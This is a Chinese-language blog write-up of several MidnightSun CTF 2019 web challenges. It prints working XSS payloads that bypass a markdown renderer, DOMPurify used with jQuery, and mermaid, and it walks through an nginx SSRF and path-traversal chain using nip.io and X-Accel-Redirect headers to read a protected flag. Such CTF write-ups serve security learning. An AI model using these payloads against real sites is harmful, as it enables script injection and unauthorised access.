Damn1t
for you I bleed myself dry
FRIENDS
baidu

MidnightSun CTF 2019

2019-04-08 CTF

MidnightSun CTF 2019

MARCODOWNO

点入主页面的链接,查看源码,注意到regexp的规则

input = decodeURIComponent(location.search.match(/input=([^&#]+)/)[1]);

function markdown(text) {
text = text.
replace(/[<]/g, '').
replace(/----/g, '<hr>').
replace(/> ?([^\n]+)/g, '<blockquote>$1</blockquote>').
replace(/\*\*([^*]+)\*\*/g, '<b>$1</b>').
replace(/__([^_]+)__/g, '<b>$1</b>').
replace(/\*([^\s][^*]+)\*/g, '<i>$1</i>').
replace(/\* ([^*]+)/g, '<li>$1</li>').
replace(/##### ([^#\n]+)/g, '<h5>$1</h5>').
replace(/#### ([^#\n]+)/g, '<h4>$1</h4>').
replace(/### ([^#\n]+)/g, '<h3>$1</h3>').
replace(/## ([^#\n]+)/g, '<h2>$1</h2>').
replace(/# ([^#\n]+)/g, '<h1>$1</h1>').
replace(/(?<!\()(https?:\/\/[a-zA-Z0-9./?#-]+)/g, '<a href="$1">$1</a>').
replace(/!\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#]+)\)/g, '<img src="$2" alt="$1"/>').
replace(/(?<!!)\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#-]+)\)/g, '<a href="$2">$1</a>').
replace(/`([^`]+)`/g, '<code>$1</code>').replace(/```([^`]+)```/g, '<code>$1</code>').
replace(/\n/g, "<br>");
return text;
}

window.onload = function() {
$("#markdown").text(input);
$("#rendered").html(markdown(input));
}

关于replace函数
replace() 方法用于在字符串中用一些字符替换另一些字符,或替换一个与正则表达式匹配的子串
语法:stringObject.replace(regexp/substr,replacement)

可能大家都会对$1这个特殊字符表示什么意思不是很理解,其实$1表示的就是左边表达式中括号内的字符,即第一个子匹配,同理可得$2表示第二个子匹配。。什么是子匹配呢??通俗点讲,就是左边每一个括号是第一个字匹配,第二个括号是第二个子匹配。

js正则表达式详解

题目要求触发xss弹出1,我们可以看到<img>标签,于是以<img src="(url)" onload="alert(1)">
payload:![hello%22onload=%22alert(%271%27);](https://cristianrichie.github.io/assets/images/me.jpg)

xss cheatsheet

Cloudb

//这题复现时有点问题,没有云端验证的post请求

Bigspin

查看源码:

<html>
What's it gonna be? Are you an <a href="/uberadmin/">uberadmin</a>, an <a href="/admin/">admin</a>, a <a href="/user/">user</a>, or (most likely) just a <a href="/pleb/">pleb</a>?
</html>

uberadmin:403
admin:404
user:403
pleb:出现了一个example网页

进一步尝试/pleb./,显示502 bad getaway,搜索nginx出现502的原因,得到如下:

What Are the Reasons for 502 Bad Gateway Responses?
There are 3 main culprits that cause 502 Bad Gateway responses. These include:

Domain name not resolvable: The domain name is not resolving to the correct IP or it does not resolve to any IP. It is important to note that DNS changes could take same time until they are global fully propagated and active. This is dependant on the TTL, or time to live, defined per record.
Origin server down: The server is not reachable, either because it is down or there is no connectivity to the server given.
Firewall blocks request: A firewall blocks the communication between the edge servers and the origin server. This can also be caused by security plugins of your CMS. Some DDOS protection and mitigation systems might are too overreactive and start blocking requests from our content delivery servers.

最有可能的原因就是”domain name not resolvable”,/pleb指向了一个www.example.com域名,他是可解析的,但当我们添加了“dd”之后,域名就变为了www.example.comdd,因此无法处理

这里有个点,利用nip.io
于是有payload:/pleb.127.0.0.1.nip.io/user/,得到回显

<html>
<head><title>Index of /user/</title></head>
<body bgcolor="white">
<h1>Index of /user/</h1><hr><pre><a href="../">../</a>
<a href="nginx.c%C3%B6nf%20">nginx.c枚nf </a  05-Apr-2019 11:511253
</pre><hr></body>
</html>

因为nginx对特殊字符的处理不太友好,因此将nginx.c枚nf进行两次urlencode,得到nginx.c%25C3%25B6nf%2520,于是访问

worker_processes 1;
user nobody nobody;
error_log /dev/stdout;
pid /tmp/nginx.pid;
events {
  worker_connections 1024;
}

http {

# Set an array of temp and cache files options that otherwise defaults to
# restricted locations accessible only to root.

client_body_temp_path /tmp/client_body;
fastcgi_temp_path /tmp/fastcgi_temp;
proxy_temp_path /tmp/proxy_temp;
scgi_temp_path /tmp/scgi_temp;
uwsgi_temp_path /tmp/uwsgi_temp;
resolver 8.8.8.8 ipv6=off;

server {
listen 80;

location / {
root /var/www/html/public;
try_files $uri $uri/index.html $uri/ =404;
}

location /user {
allow 127.0.0.1;
deny all;
autoindex on;
root /var/www/html/;
}

location /admin {
internal;
autoindex on;
alias /var/www/html/admin/;
}

location /uberadmin {
allow 0.13.3.7;
deny all;
autoindex on;
alias /var/www/html/uberadmin/;
}

location ~ /pleb([/a-zA-Z0-9.:%]+) {
proxy_pass   http://example.com$1;
}

access_log /dev/stdout;
error_log /dev/stdout;
}

}

尝试访问uberadmin,又出现了502,这时转而查看/admin,允许的地址范围是internal,google一番,在官方文档中找到解释

Specifies that a given location can only be used for internal requests. For external requests, the client error 404 (Not Found) is returned. Internal requests are the following:

requests redirected by the error_page, index, random_index, and try_files directives;
requests redirected by the “X-Accel-Redirect” response header field from an upstream server;
subrequests formed

注意到第二条,于是可以利用“X-Accel-Redirect”
思路是在自己服务器上,写上如下代码:

<?php
header("X-Accel-Redirect:/admin/")
?>

然后访问自己的服务器,得到一个flag.txt,但直接更改为“/admin/flag.txt”会访问失败,要求uberadmin才能访问,于是再次更改为“/admin../uberadmin/flag.txt”即可

很鬼,我访问失败了,放个writeup链接:
https://medium.com/@defmax/midnight-sun-ctf-2019-quals-writeup-437ea139d90c

  • 另一种方法(成功)

在自己vps上的nginx.conf中添加如下配置:

location = /x.html {
        add_header X-Accel-Redirect "/admin/";
        return 200 hm;
}

访问/pleb.ip.nip.io/x.html,成功跳转

尝试改为/admin/flag.txt,提示

hmmm, should admins really get flags? seems like an uberadmin thing to me

于是再次添加如下配置:

location = /y.html {
        add_header X-Accel-Redirect "/admin../uberadmin/flag.txt";
        return 200 hm;
}

成功得到flag

marcoolio

关键代码如下:

<script>
input = decodeURIComponent(location.search.match(/input=([^&#]+)/)[1]);
var converter = new showdown.Converter({tables: true});

window.onload=function(){
  $("#markdown").val(input);
  html = converter.makeHtml(input);
  clean = DOMPurify.sanitize(html);
  md = converter.makeMarkdown(clean);
  if(md.replace(/[\s\\]/g,"") === input.replace(/[\s\\]/g,"")){
$("#render").html(html);
  }else{
  $("#render").html("<font id='error' color=red></font>");
  $("#error").text("hacking attempt!!!");
  }
}

function rerender(){
  try{
input = $("#markdown").val();
html = converter.makeHtml(input);
clean = DOMPurify.sanitize(html);
md = converter.makeMarkdown(clean);
if(md.replace(/[\s\\]/g,"") === input.replace(/[\s\\]/g,"")){
  $("#render").html(html);
}else{
  $("#render").html("<font id='error' color=red></font>");
  $("#error").text("hacking attempt!!!");
}
  }catch(x){
$("#render").html("<font id='error' color=red></font>");
$("#error").text(x);
  }
}

</script>

注意到使用了DOMPurify.sanitize,它可以用来进行xss过滤,查看DOMPurify的文档,注意到一段文字:

The resulting HTML can be written into a DOM element using innerHTML or the DOM using document.write(). That is fully up to you. But keep in mind, if you use the sanitized HTML with jQuery’s very insecure elm.html() method, then the SAFE_FOR_JQUERY flag has to be set to make sure it’s safe! Other than that, all is fine.

使用了jQuery且没有SAFE_FOR_JQUERY,下一步就是找payload,然后在测试用例中找到关于SAFE_FOR_JQUERY的payload,第三个:<option><style></option></select><b><img src=xx: onerror=alert(1)></style></option>可用

Marcozuckerbergo

关键代码:

<script>
input = decodeURIComponent(location.search.match(/input=([^&#]+)/)[1]);

window.onload=function(){
  $("#markdown").text(input);
  $("#render").text($("#markdown").text());
  mermaid.init(undefined, $("#render"));
}

function rerender(){
  try{
$("#render").html();$("#render").removeAttr("data-processed");$("#render").text($("#markdown").text());mermaid.init(undefined, $("#render"));
  }catch(x){
$("#render").html("<font id='error' color=red></font>");
$("#error").text(x);
  }
}

</script>

注意到mermaid.init这个玩意儿,搜索,可知是一个绘图工具,于是寻求找到问题,查询issue,看到一个,提问者想要插入图片,下面给出了一个payload:graph TD; Dir((<img src='https://iconscout.com/ms-icon-310x310.png' width='40' />)),尝试graph TD; Dir((<img src='address.png' width='40' onerror='javascript:alert1'>)),成功!

  • 另一种方法
    issue 213,如果使用如下格式:
graph LR
id1["This is the (text) in the box"]

可以插入标签,于是:

graph LR
id1("<img src='' onerror='alert(1)'></img>")

Rubenscube

Author: damn1t

Link: http://microvorld.com/2019/04/08/CTF/MidnightSun CTF 2019/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
png文件结构与信息隐藏
NextPost >
VolgaCTF 2019 Quals
CATALOG
  1. 1. MidnightSun CTF 2019
    1. 1.1. MARCODOWNO
    2. 1.2. Cloudb
    3. 1.3. Bigspin
    4. 1.4. marcoolio
    5. 1.5. Marcozuckerbergo
    6. 1.6. Rubenscube